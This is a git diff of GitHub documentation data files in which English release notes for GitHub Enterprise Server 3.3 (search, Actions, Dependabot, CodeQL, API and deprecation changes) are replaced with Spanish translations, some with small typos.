         - 'You can now add images and videos to Markdown files in gists by pasting them into the Markdown body or selecting them from the dialog at the bottom of the Markdown file. For information about supported file types, see "[Attaching files](https://docs.github.com/en/github/writing-on-github/working-with-advanced-formatting/attaching-files)."'
         - '{% data variables.product.prodname_ghe_server %} now automatically generates a table of contents for Wikis, based on headings.'
         - 'When dragging and dropping files into a Markdown editor, such as images and videos, {% data variables.product.prodname_ghe_server %} now uses the mouse pointer location instead of the cursor location when placing the file.'
     - heading: 'Cambios en propuestas y sollicitudes de cambio'
       notes:
-        - 'You can now search issues by label using a logical OR operator. To filter issues using logical OR, use the comma syntax. For example, `label:"good first issue","bug"` will list all issues with a label of `good first issue` or `bug`. For more information, see "[Filtering and searching issues and pull requests](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests#about-search-terms)."'
-        - "Improvements have been made to help teams manage code review assignments. You can now:\n\n- Limit assignment to only direct members of the team.\n- Continue with automatic assignment even if one or more members of the team are already requested.\n- Keep a team assigned to review even if one or more members is newly assigned.\n\nThe timeline and reviewers sidebar on the pull request page now indicate if a review request was automatically assigned to one or more team members.\n\nFor more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-29-new-code-review-assignment-settings-and-team-filtering-improvements/).\n"
+        - 'Ahora puedes buscar propuestas por etiqueta utilizando un operador lógico "OR". Para filtrar las propuestas utilizando un "OR" lógico, utiliza la sintaxis de coma. Por ejemplo, `label:"good first issue","bug"` listará todas las propuestas con una etiqueta de `good first issue` o de `bug`. "[Filtrar y buscar propuestas y solicitudes de cambio](/issues/tracking-your-work-with-issues/filtering-and-searching-issues-and-pull-requests#about-search-terms)".'
+        - "Se han realizado mejoras para ayudar a que los equipos administren las tareas de revisión de código. Ahora puedes:\n\n- Liminar las tareas únicamente para miembros directos del equipo.\n- Seguir con las tareas automáticas, incluso si uno o más miembros del equipo ya se solicitaron.\n- Mantener un equipo asignado a la revisión, incluso si uno o más miembros se asignaron recientemente.\n\nLas barras laterales de línea de tiempo y de revisores en la página de la solicitud de cambios ahora indican si una solicitud de revisión se asignó automáticamente a uno o más miembros del equipo.\n\nPara obtener más información, consulta la sección [Bitácora de cambios de {% data variables.product.prodname_dotcom %}](https://github.blog/changelog/2021-09-29-new-code-review-assignment-settings-and-team-filtering-improvements/).\n"
         - 'You can now filter pull request searches to only include pull requests you are directly requested to review.'
         - 'Filtered files in pull requests are now completely hidden from view, and are no longer shown as collapsed in the "Files Changed" tab. The "File Filter" menu has also been simplified. For more information, see "[Filtering files in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/filtering-files-in-a-pull-request)."'
     - heading: 'Cambioas a las GitHub Actions'
       notes:
         - 'You can now create "composite actions" which combine multiple workflow steps into one action, and includes the ability to reference other actions. This makes it easier to reduce duplication in workflows. Previously, an action could only use scripts in its YAML definition. For more information, see "[Creating a composite action](/actions/creating-actions/creating-a-composite-action)."'
-        - 'Managing self-hosted runners at the enterprise level no longer requires using personal access tokens with the `admin:enterprise` scope. You can instead use the new `manage_runners:enterprise` scope to restrict the permissions on your tokens. Tokens with this scope can authenticate to [many REST API endpoints](/rest/reference/enterprise-admin#list-self-hosted-runner-groups-for-an-enterprise) to manage your enterprise''s self-hosted runners.'
-        - "The audit log now includes additional events for {% data variables.product.prodname_actions %}. Audit log entries are now recorded for the following events:\n\n* A self-hosted runner is registered or removed.\n* A self-hosted runner is added to a runner group, or removed from a runner group.\n* A runner group is created or removed.\n* A workflow run is created or completed.\n* A workflow job is prepared. Importantly, this log includes the list of secrets that were provided to the runner.\n\nFor more information, see \"[Security hardening for {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#auditing-github-actions-events).\"\n"
+        - 'El administrar los ejecutores auto-hospedados a nivel empresarial ya no requiere del uso de tokens de acceso personal con el alcance de `admin:enterprise`. En vez de esto, puedes utilizar el alcance `manage_runners:enterprise` para restringir los permisos en tus tokens. Los tokens con este alcance pueden autenticarse con [muchas de las terminales de la API de REST](/rest/reference/enterprise-admin#list-self-hosted-runner-groups-for-an-enterprise) para administrar tus ejecutores auto-hospedados.'
+        - "La bitácora de auditoría ahora incluye eventos adicionales para {% data variables.product.prodname_actions %}. Ahora se registran entradas en la bitácora de auditoría para cuando:\n\n* Se registra o elimina un ejecutor auto-hospedado.\n* Se agrega un ejecutor auto-hospedad a un grupo de ejecutores o se elimina de uno de ellos.\n* Se crea o elimina un grupo de ejecutores.\n* Se crea o completa una ejecución de flujo de trabajo.\n* Se prepara un job de un flujo de trabajo. Es importante destacar que esta bitácora incluye la lista de secretos que se proporcionaron al ejecutor.\n\nPara obtener más información, consulta la sección \"[Fortalecimiento de seguridad para las {% data variables.product.prodname_actions %}](/actions/security-guides/security-hardening-for-github-actions#auditing-github-actions-events)\".\n"
         - 'Performance improvements have been made to {% data variables.product.prodname_actions %}, which may result in higher maximum job concurrency.'
     - heading: 'Cambios a los GitHub packages'
       notes:
         - 'When a repository is deleted, any associated package files are now immediately deleted from your {% data variables.product.prodname_registry %} external storage.'
     - heading: 'Cambios al Dependabot y a la gráfica de Dependencias'
       notes:
-        - 'Dependency review is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Dependency review provides an easy-to-understand view of dependency changes and their security impact in the "Files changed" tab of pull requests. It informs you of which dependencies were added, removed, or updated, along with vulnerability information. For more information, see "[Reviewing dependency changes in a pull request](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)."'
-        - '{% data variables.product.prodname_dependabot %} is now available as a private beta, offering both version updates and security updates for several popular ecosystems. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} requires {% data variables.product.prodname_actions %} and a pool of self-hosted runners configured for {% data variables.product.prodname_dependabot %} use. {% data variables.product.prodname_dependabot %} on {% data variables.product.prodname_ghe_server %} also requires {% data variables.product.prodname_github_connect %} to be enabled. To learn more and sign up for the beta, contact the GitHub Sales team.'
+        - 'La revisión de dependencias ya salió de su beta y ahora está disponible en general para los clientes de la {% data variables.product.prodname_GH_advanced_security %}. La revisión de dependencias es una vista fácil de entender de los cambios de dependencias y de su impacto de seguridad, la cual se encuentra en la pestaña de "Archivos que cambiaron" de las solicitudes de cambios. Esta te informa de las dependencias que se agregaron, eliminaron o actualizaron en conjunto con la información de las vulnerabilidades. Para obtener más información, consulta la sección "[Revisar los cambios a las dependencias de una solicitud de cambios](/github/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)".'
+        - 'El {% data variables.product.prodname_dependabot %} ahora se encuentra disponible en un beta privado, lo cual ofrece tanto actualizaciones de versión como de seguridad para varios ecosistemas populares. El {% data variables.product.prodname_dependabot %} en {% data variables.product.prodname_ghe_server %} requiere {% data variables.product.prodname_actions %} y un grupo de ejecutores auto-hospedados para que los utilice el {% data variables.product.prodname_dependabot %}. El {% data variables.product.prodname_dependabot %} en {% data variables.product.prodname_ghe_server %} también requiere que se habilite {% data variables.product.prodname_github_connect %}. Para aprender más y registrarse para el beta, contacta al equipo de Ventas de GitHub.'
     - heading: 'Cambios al escaneo de código y de secretos'
       notes:
-        - 'The depth of {% data variables.product.prodname_codeql %}''s analysis has been improved by adding support for more [libraries and frameworks](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) and increasing the coverage of our existing library and framework models. [JavaScript](https://github.com/github/codeql/tree/main/javascript) analysis now supports most common templating languages, and [Java](https://github.com/github/codeql/tree/main/java) now covers more than three times the endpoints of previous {% data variables.product.prodname_codeql %} versions. As a result, {% data variables.product.prodname_codeql %} can now detect even more potential sources of untrusted user data, steps through which that data flows, and potentially dangerous sinks where the data could end up. This results in an overall improvement of the quality of {% data variables.product.prodname_code_scanning %} alerts.'
-        - '{% data variables.product.prodname_codeql %} now supports scanning standard language features in Java 16, such as records and pattern matching. {% data variables.product.prodname_codeql %} is able to analyze code written in Java version 7 through 16. For more information about supported languages and frameworks, see the [{% data variables.product.prodname_codeql %} documentation](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/#id5).'
-        - "Improvements have been made to the {% data variables.product.prodname_code_scanning %} `on:push` trigger when code is pushed to a pull request. If an `on:push` scan returns results that are associated with a pull request, {% data variables.product.prodname_code_scanning %} will now show these alerts on the pull request.\n\nSome other CI/CD systems can be exclusively configured to trigger a pipeline when code is pushed to a branch, or even exclusively for every commit. Whenever such an analysis pipeline is triggered and results are uploaded to the SARIF API, {% data variables.product.prodname_code_scanning %} will also try to match the analysis results to an open pull request. If an open pull request is found, the results will be published as described above. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-27-showing-code-scanning-alerts-on-pull-requests/).\n"
-        - 'You can now use the new pull request filter on the {% data variables.product.prodname_code_scanning %} alerts page to find all the {% data variables.product.prodname_code_scanning %} alerts associated with a pull request. A new "View all branch alerts" link on the pull request "Checks" tab allows you to directly view {% data variables.product.prodname_code_scanning %} alerts with the specific pull request filter already applied. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-08-23-pull-request-filter-for-code-scanning-alerts/).'
-        - 'User defined patterns for {% data variables.product.prodname_secret_scanning %} is out of beta and is now generally available for {% data variables.product.prodname_GH_advanced_security %} customers. Also new in this release is the ability to edit custom patterns defined at the repository, organization, and enterprise levels. After editing and saving a pattern, {% data variables.product.prodname_secret_scanning %} searches for matches both in a repository''s entire Git history and in any new commits. Editing a pattern will close alerts previously associated with the pattern if they no longer match the updated version. Other improvements, such as dry-runs, are planned in future releases. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)."'
+        - 'La profundidad del análisis de {% data variables.product.prodname_codeql %} se mejoró agregando compatibilidad para más [librerías y marcos de trabajo](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/) e incrementando la cobertura de nuestros modelos de marcos de trabajo y librerías. El análisis de [JavaScript](https://github.com/github/codeql/tree/main/javascript) ahora es compatible con los lenguajes más comunes para generar plantillas y [Java](https://github.com/github/codeql/tree/main/java) ahora cubre más del triple de las terminales de las versiones anteriores de {% data variables.product.prodname_codeql %}. Como resultado, {% data variables.product.prodname_codeql %} ahora puede detectar aún más fuentes potenciales de datos de usuario no confiables, pasos mediante los cuales fluyen dichos datos y consumidores de datos potencialmente peligrosos en donde podrían estancarse los mismos. Esto proporciona una mejora general a la calidad de las alertas del {% data variables.product.prodname_code_scanning %}.'
+        - '{% data variables.product.prodname_codeql %} ahora es compatible con el escaneo de características de lenguaje estándar en Java 16, tales como la coincidencia con patrones y registros. {% data variables.product.prodname_codeql %} puede analizar el código escrito de la versión 7 a la 16 de Java. para obtener más información sobre qué lenguajes y marcos de trabajo son compatibles, consulta la [Documentación de {% data variables.product.prodname_codeql %}](https://codeql.github.com/docs/codeql-overview/supported-languages-and-frameworks/#id5).'
+        - "Se hicieron mejoras al activador `on:push` del {% data variables.product.prodname_code_scanning %} cuando se sube código a una solicitud de cambios. Si un escaneo de tipo `on:push` devuelve resultados asociados con una solicitud de cambios, el {% data variables.product.prodname_code_scanning %} ahora mostrará estas alertas en dicha solicitud.\n\nAlgunos otros sistemas de IC/DC pueden configurarse exclusivamente para activar una red de comunicación interna cuando se suba código a una rama o incluso exclusivamente para cada confirmación. Cada que dicho análisis de red de comunicación interna se active y los resultados se carguen a la API de SARIF, el {% data variables.product.prodname_code_scanning %} también intentará empatar los resultados de este análisis con una solicitud de cambios abierta. Si se encuentra dicha solicitud abierta, los resultados se publicarán conforme a lo descrito anteriormente, consulta el [Registro de cambios de {% data variables.product.prodname_dotcom %}](https://github.blog/changelog/2021-09-27-showing-code-scanning-alerts-on-pull-requests/).\n"
+        - 'Ahora puedes utilizar el filtro de solicitud de cambios nuevo en la página de alertas de {% data variables.product.prodname_code_scanning %} para encontrar todas las alertas del {% data variables.product.prodname_code_scanning %} que tengan una solicitud de cambios. El enlace nuevo de "Ver todas las alertas de rama" en la pestaña de "Verificaciones" de una solicitud de cambios te permite ver directamente las alertas del {% data variables.product.prodname_code_scanning %} con el filtro de solicitudes de cambio específico que ya se haya aplicado. Para obtener más información, consulta la [Bitácora de cambios de {% data variables.product.prodname_dotcom %}](https://github.blog/changelog/2021-08-23-pull-request-filter-for-code-scanning-alerts/).'
+        - 'Los patrones definidos por usuario para el {% data variables.product.prodname_secret_scanning %} se encuentran en fase beta y ahora se encuentran disponibles en general para los clientes de {% data variables.product.prodname_GH_advanced_security %}. También, este lanzamiento cuenta con la capacidad de editar patrones personalizados que se definen en los niveles de repositorio, organización y empresa. Después de editar y guardar un patrón, el {% data variables.product.prodname_secret_scanning %} busca coincidencias tanto en el historial completo de Git del repositorio como en cualquier confirmación nueva. El editar un patrón cerrará las alertas que se asocian previamente con este en caso de que ya no coincidan con la versión actualizada. Tenemos otras mejoras planeadas para lanzamientos futuros, tales como las simulaciones. Para obtener más información, consulta la sección "[Definir patrones personalizados para el escaneo de secretos](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning)".'
     - heading: 'API and webhook changes'
       notes:
-        - 'Most REST API previews have graduated and are now an official part of the API. Preview headers are no longer required for most REST API endpoints, but will still function as expected if you specify a graduated preview in the `Accept` header of a request. For previews that still require specifying the preview in the `Accept` header of a request, see "[API previews](/rest/overview/api-previews)."'
+        - 'La mayoría de las vistas previas de la API de REST se graduaron y ahora son parte oficial de la API. Los encabezados de vista previa ya no se requieren para la mayoría de las terminales de la API de REST, pero aún funcionarán como se espera si especificas una vista previa graduada en el encabezado de `Accept` de una solicitud. Para encontrar las vistas previas que aún requieran la especificación de la vista previa en el encabezado de `Accept` de una solicitud, consulta las "[Vistas previas de la API](/rest/overview/api-previews)".'
         - 'You can now use the REST API to configure custom autolinks to external resources. The REST API now provides beta `GET`/`POST`/`DELETE` endpoints which you can use to view, add, or delete custom autolinks associated with a repository. For more information, see "[Autolinks](/rest/reference/repos#autolinks)."'
-        - 'You can now use the REST API to sync a forked repository with its upstream repository. For more information, see "[Repositories](/rest/reference/repos#sync-a-fork-branch-with-the-upstream-repository)" in the REST API documentation.'
+        - 'You can now use the REST API to sync a forked repository with its upstream repository. For more information, see "[Branches](/rest/reference/branches#sync-a-fork-branch-with-the-upstream-repository)" in the REST API documentation.'
         - 'Enterprise administrators on GitHub Enterprise Server can now use the REST API to enable or disable Git LFS for a repository. For more information, see "[Repositories](/rest/reference/repos#git-lfs)."'
-        - 'You can now use the REST API to query the audit log for an enterprise. While audit log forwarding provides the ability to retain and analyze data with your own toolkit and determine patterns over time, the new endpoint can help you perform limited analysis on recent events. For more information, see "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise)" in the REST API documentation.'
+        - 'Ahora puedes utilizar la API de REST para consultar la bitácora de auditoría de una empresa. Mientras que el reenviar una bitácora de auditoría proporciona la capacidad de retener y analizar datos con tu propio kit de herramientas y determinar los patrones con el tiempo, la terminal nueva puede ayudarte a realizar un análisis limitado en los eventos recientes. Para obtener más información, consulta la sección "[Administración de {% data variables.product.prodname_enterprise %}](/rest/reference/enterprise-admin#get-the-audit-log-for-an-enterprise)" en la documentación de la API de REST.'
         - 'GitHub App user-to-server API requests can now read public resources using the REST API. This includes, for example, the ability to list a public repository''s issues and pull requests, and to access a public repository''s comments and content.'
-        - 'When creating or updating a repository, you can now configure whether forking is allowed using the REST and GraphQL APIs. Previously, APIs for creating and updating repositories didn''t include the fields `allow_forking` (REST) or `forkingAllowed` (GraphQL). For more information, see "[Repositories](/rest/reference/repos)" in the REST API documentation and "[Repositories](/graphql/reference/objects#repository)" in the GraphQL API documentation.'
-        - "A new GraphQL mutation [`createCommitOnBranch`](/graphql/reference/mutations#createcommitonbranch) makes it easier to add, update, and delete files in a branch of a repository. Compared to the REST API, you do not need to manually create blobs and trees before creating the commit. This allows you to add, update, or delete multiple files in a single API call.\n\nCommits authored using the new API are automatically GPG signed and are [marked as verified](/github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification) in the {% data variables.product.prodname_ghe_server %} UI. GitHub Apps can use the mutation to author commits directly or [on behalf of users](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests).\n"
+        - 'Al crear o actualizar un repositorio, ahora puedes configurar si se permite bifurcarlo utilizando las API de REST y de GraphQL. Anteriormente, las API para crear y actualizar repositorios no incluían los archivos `allow_forking` (REST) o `forkingAllowed` (GraphQL). Para obtener más información, consulta la sección "[Repositories](/rest/reference/repos)" en la documentación de la API de REST y "[Repositories](/graphql/reference/objects#repository)" en la documentación de la API de GraphQL.'
+        - "Una mutación nueva de GraphQL [`createCommitOnBranch`](/graphql/reference/mutations#createcommitonbranch) facilita el agregar, actualizar y borrar archivos en una rama de un repositorio. Comparado con la API de REST, no necesitas crear blobs y árboles manualmente antes de crear la confirmación. Esto te permite agregar, actualizar o borrar archivos múltiples en una sola llamada a la API.\n\nLas confirmaciones que se crean utilizando la API nueva se firman automáticamente con GPG y se [marcan como verificadas](/github/authenticating-to-github/managing-commit-signature-verification/about-commit-signature-verification) en la IU de {% data variables.product.prodname_ghe_server %}. Las GitHub Apps pueden utilizar la mutación para crear confirmaciones, ya sea directamente o [en nombre de los usuarios](/developers/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests).\n"
         - 'When a new tag is created, the [push](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#push) webhook payload now always includes a `head_commit` object that contains the data of the commit that the new tag points to. As a result, the `head_commit` object will always contain the commit data of the payload''s `after` commit.'
     - heading: 'Performance Changes'
       notes:
@@ -103,12 +103,12 @@ sections:
         - 'Starting with {% data variables.product.prodname_ghe_server %} 3.3, {% data variables.product.prodname_ghe_server %} on XenServer is deprecated and is no longer supported. Please contact [GitHub Support](https://support.github.com) with questions or concerns.'
     - heading: 'Deprecation of OAuth Application API endpoints and API authentication using query parameters'
       notes:
-        - "To prevent accidental logging or exposure of `access_tokens`, we discourage the use of OAuth Application API endpoints and the use of API authentication using query parameters. View the following posts to see the proposed replacements:\n\n* [Replacement OAuth Application API endpoints](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make)\n* [Replacement authentication using headers instead of query param](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make)\n\nThese endpoints and authentication route are planned to be removed from {% data variables.product.prodname_ghe_server %} in {% data variables.product.prodname_ghe_server %} 3.4.\n"
+        - "Para prevenir los inicios de sesión accidentales o la exposición de `access_tokens`, desalentamos el uso de las terminales de la API de Aplicaciones OAuth y el uso de la autenticación de la API utilizando parámetros de consulta. Puedes ver las siguientes publicaciones para encontrar los reemplazos propuestos:\n\n*[Reemplazo de las terminales de la API de Aplicaciones OAuth](https://developer.github.com/changes/2020-02-14-deprecating-oauth-app-endpoint/#changes-to-make)\n*[Reemplazo de la autenticación utilizando encabezados en vez de parámetros de consulta](https://developer.github.com/changes/2020-02-10-deprecating-auth-through-query-param/#changes-to-make)\n\nPlaneamos eliminar estas temrinales y ruta de autenticación desde {% data variables.product.prodname_ghe_server %} en {% data variables.product.prodname_ghe_server %} 3.4.\n"
     - heading: 'Deprecation of the CodeQL runner'
       notes:
-        - 'The {% data variables.product.prodname_codeql %} runner is being deprecated. {% data variables.product.prodname_ghe_server %} 3.3 will be the final release series that supports the {% data variables.product.prodname_codeql %} runner. Starting with {% data variables.product.prodname_ghe_server %} 3.4, the {% data variables.product.prodname_codeql %} runner will be removed and no longer supported. The {% data variables.product.prodname_codeql %} CLI version 2.6.2 or greater is a feature-complete replacement for the {% data variables.product.prodname_codeql %} runner. For more information, see the [{% data variables.product.prodname_dotcom %} changelog](https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/).'
+        - 'El ejecutor de {% data variables.product.prodname_codeql %} se obsoletizará. {% data variables.product.prodname_ghe_server %} 3.3 será el último lanzamiento de la serie que es compatible con el ejecutor de {% data variables.product.prodname_codeql %}. Desde {% data variables.product.prodname_ghe_server %} 3.4, se eliminará el ejecutor de {% data variables.product.prodname_codeql %} y este ya no será compatible. La versión 2.6.2 del CLI de {% data variables.product.prodname_codeql %} o superior es un reemplazo con todas las características para el ejecutor del {% data variables.product.prodname_codeql %}. Para obtener más informa]ción, consulta la sección [Bitácora de cambios de {% data variables.product.prodname_dotcom %}(https://github.blog/changelog/2021-09-21-codeql-runner-deprecation/).'
     - heading: 'Deprecation of custom bit-cache extensions'
       notes:
-        - "Starting in {% data variables.product.prodname_ghe_server %} 3.1, support for {% data variables.product.company_short %}'s proprietary bit-cache extensions began to be phased out. These extensions are now deprecated in {% data variables.product.prodname_ghe_server %} 3.3.\n\nAny repositories that were already present and active on {% data variables.product.product_location %} running version 3.1 or 3.2 will have been automatically updated.\n\nRepositories which were not present and active before upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may not perform optimally until a repository maintenance task is run and has successfully completed.\n\nTo start a repository maintenance task manually, browse to `https://<hostname>/stafftools/repositories/<owner>/<repository>/network` for each affected repository and click the **Schedule** button.\n"
+        - "Desde {% data variables.product.prodname_ghe_server %} 3.1, el soporte de las extensiones bit-cache propietarias de {% data variables.product.company_short %} se comenzó a eliminar paulatinamente. Estas extensiones ahora son obsoletas en {% data variables.product.prodname_ghe_server %} 3.3.\n\nCualquier repositorio que ya haya estado presente y activo en {% data variables.product.product_location %} ejecutando la versión 3.1 o 3.2 ya se actualizó atuomáticamente.\n\nLos repositorios que no estuvieron presentes y activos antes de mejorar a {% data variables.product.prodname_ghe_server %} 3.3 podrían no funcionar de forma óptima sino hasta que se ejecute una tarea de mantenimiento de repositorio y esta se complete exitosamente.\n\nPara iniciar una tarea de mantenimiento de repositorio manualmente, dirígete a `https://<hostname>/stafftools/repositories/<owner>/<repository>/network` en cada repositorio afectado y haz clic en el botón **Schedule**.\n"
   backups:
     - '{% data variables.product.prodname_ghe_server %} 3.3 requires at least [GitHub Enterprise Backup Utilities 3.3.0](https://github.com/github/backup-utils) for [Backups and Disaster Recovery](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance).'
diff --git a/translations/es-ES/data/release-notes/enterprise-server/3-3/0.yml b/translations/es-ES/data/release-notes/enterprise-server/3-3/0.yml
index 9ff8cee7e2..7cd275f5ef 100644
--- a/translations/es-ES/data/release-notes/enterprise-server/3-3/0.yml
+++ b/translations/es-ES/data/release-notes/enterprise-server/3-3/0.yml
@@ -1,26 +1,27 @@
 date: '2021-12-07'
-intro: 'For upgrade instructions, see "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)."<br><br>**Note:** We are aware of an issue where {% data variables.product.prodname_actions %} may fail to start automatically following the upgrade to {% data variables.product.prodname_ghe_server %} 3.3. To resolve, connect to the appliance via SSH and run the `ghe-actions-start` command.'
+intro: 'Para encontrar las instrucciones de mejora, consulta la sección "[Mejorar a {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/updating-the-virtual-machine-and-physical-resources/upgrading-github-enterprise-server)".<br><br>**Nota:** Estamos conscientes de un problema en donde {% data variables.product.prodname_actions %} podría fallar en iniciar automáticamente después de la mejora a {% data variables.product.prodname_ghe_server %} 3.3. Para resolver esto, conéctate al aplicativo por SSH y ejecuta el comando `ghe-actions-start`.'
 sections:
   features:
     - heading: 'Security Manager role'
       notes:
-        - "Organization owners can now grant teams the access to manage security alerts and settings on their repositories. The \"security manager\" role can be applied to any team and grants the team's members the following access:\n\n- Read access on all repositories in the organization.\n- Write access on all security alerts in the organization.\n- Access to the organization-level security tab.\n- Write access on security settings at the organization level.\n- Write access on security settings at the repository level.\n\nFor more information, see \"[Managing security managers in your organization](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization).\"\n"
+        - "Los propietarios de organizaciones ahora pueden otorgar a los equipos el acceso para administrar las alertas de seguridad y los ajustes en sus repositorios. El rol de \"Administrador de seguridad\" puede aplicarse a cualquier equipo y este otorgará a los miembros del equipo los siguientes accesos:\n\n- Acceso de lectura en todos los repositorios de la organización.\n- Acceso de escritura en todas las alertas de seguridad de la organización.\n- Acceso a la pestaña de seguridad a nivel de organización\n- Acceso de escritura en los ajustes de seguridad a nivel de organización.\n- Acceso de escritura en los ajustes de seguridad a nivel de repositorio.\n\nPara obtener más información, consulta la sección \"[Gestionar los administradores de seguridad en tu organización](/organizations/managing-peoples-access-to-your-organization-with-roles/managing-security-managers-in-your-organization)\".\n"
     - heading: 'Ephemeral self-hosted runners for GitHub Actions & new webhooks for auto-scaling'
       notes:
-        - "{% data variables.product.prodname_actions %} now supports ephemeral (single job) self-hosted runners and a new [`workflow_job`](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) webhook to make autoscaling runners easier.\n\nEphemeral runners are good for self-managed environments where each job is required to run on a clean image. After a job is run, ephemeral runners are automatically unregistered from {% data variables.product.product_location %}, allowing you to perform any post-job management.\n\nYou can combine ephemeral runners with the new `workflow_job` webhook to automatically scale self-hosted runners in response to {% data variables.product.prodname_actions %} job requests.\n\nFor more information, see \"[Autoscaling with self-hosted runners](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)\" and \"[Webhook events and payloads](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job).\"\n"
+        - "{% data variables.product.prodname_actions %} es ahora compatible con ejecutores auto-hospedados (de job sencillo) efímeros y con un webhook de [`workflow_job`] nuevo (/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job) para que el escalamiento automático de los ejecutores sea más fácil.\n\nLos ejecutores efímeros son buenos para los ambientes auto-administradores en donde se requiere que cada job se ejecute en una imagen limpia. Después de que se ejecuta un job, los ejecutores efímeros se dejan de registrar automáticamente desde {% data variables.product.product_location %}, lo cual te permite realizar cualquier administración posterior al job.\n\nPuedes combinar los ejecutores efímeros con el webhook nuevo de `workflow_job` para escalar automáticamente los ejecutores auto-hospedados en respuesta a las solicitudes de job de {% data variables.product.prodname_actions %}.\n\nPara obtener más información, consulta las secciones \"[Escalar automáticamente con ejecutores auto-hospedados]](/actions/hosting-your-own-runners/autoscaling-with-self-hosted-runners)\" y \"[Eventos y cargas útiles de webhooks](/developers/webhooks-and-events/webhooks/webhook-events-and-payloads#workflow_job)\".\n"
     - heading: 'Dark high contrast theme'
       notes:
-        - "A dark high contrast theme, with greater contrast between foreground and background elements, is now available on {% data variables.product.prodname_ghe_server %} 3.3. This release also includes improvements to the color system across all {% data variables.product.company_short %} themes.\n\n![Animated image of switching between dark default theme and dark high contrast on the appearance settings page](https://user-images.githubusercontent.com/334891/123645834-ad096c00-d7f4-11eb-85c9-b2c92b00d70a.gif)\n\nFor more information about changing your theme, see \"[Managing your theme settings](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings).\"\n"
+        - "Ahora tenemos un tema de contraste alto en {% data variables.product.prodname_ghe_server %} 3.3, el cual tiene un contraste mayor entre los elementos de fondo y de frente. Este lanzamiento también incluye mejoras al sistema de color en todos los temas de {% data variables.product.company_short %}.\n\n![Imagen animada de cambiar entre el tema oscuro predeterminado y el de contraste alto en la página de ajustes de apariencia](https://user-images.githubusercontent.com/334891/123645834-ad096c00-d7f4-11eb-85c9-b2c92b00d70a.gif)\n\nPara obtener más información sobre cómo cambiar tu tema, consulta la sección \"[Administrar tus ajustes de tema](/account-and-profile/setting-up-and-managing-your-github-user-account/managing-user-account-settings/managing-your-theme-settings)\".\n"
   changes:
     - heading: 'Cambios en la administración'
       notes:
         - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the maintenance of repositories, especially for repositories that contain many unreachable objects. Note that the first maintenance cycle after upgrading to {% data variables.product.prodname_ghe_server %} 3.3 may take longer than usual to complete.'
-        - '{% data variables.product.prodname_ghe_server %} 3.3 includes the public beta of a repository cache for geographically-distributed teams and CI infrastructure. The repository cache keeps a read-only copy of your repositories available in additional geographies, which prevents clients from downloading duplicate Git content from your primary instance. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."'
-        - '{% data variables.product.prodname_ghe_server %} 3.3 includes improvements to the user impersonation process. An impersonation session now requires a justification for the impersonation, actions are recorded in the audit log as being performed as an impersonated user, and the user who is impersonated will receive an email notification that they have been impersonated by an enterprise administrator. For more information, see "[Impersonating a user](/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)."'
+        - '{% data variables.product.prodname_ghe_server %} 3.3 incluye el beta público de un caché de repositorio para equipos con distribución geográfica e infraestructura de IC. El caché de repositorio mantiene una copia de solo lectura para tus repositorios disponibles en puntos geográficos adicionales, lo cual previene que los clientes descarguen contenido duplicado de Git desde tu instancia primara. Para obtener más información, consulta la sección "[Acerca del caché de repositorios](/admin/enterprise-management/caching-repositories/about-repository-caching)".'
+        - '{% data variables.product.prodname_ghe_server %} 3.3 incluye mejoras al proceso de suplantación de identidad del usuario. Las sesiones de suplantación de identidad ahora requieren de una justificación para llevarlas a cabo, las acciones se registran en la bitácora de auditoría mientras las realiza el usuario que lleva a cabo la suplantación y el usuario cuya identidad se suplanta recibirá una notificación por correo electrónico de estos hechos, por parte de un administrador empresarial. Para obtener más información, consulta la sección "[Suplantar la identidad de un usuario](/enterprise-server@3.3/admin/user-management/managing-users-in-your-enterprise/impersonating-a-user)".'
         - 'A new stream processing service has been added to facilitate the growing set of events that are published to the audit log, including events associated with Git and {% data variables.product.prodname_actions %} activity.'
+        - 'The {% data variables.product.prodname_github_connect %} data connection record now includes a list of enabled {% data variables.product.prodname_github_connect %} features. [Updated 2021-12-09]'
     - heading: 'Cambios de Token'
       notes:
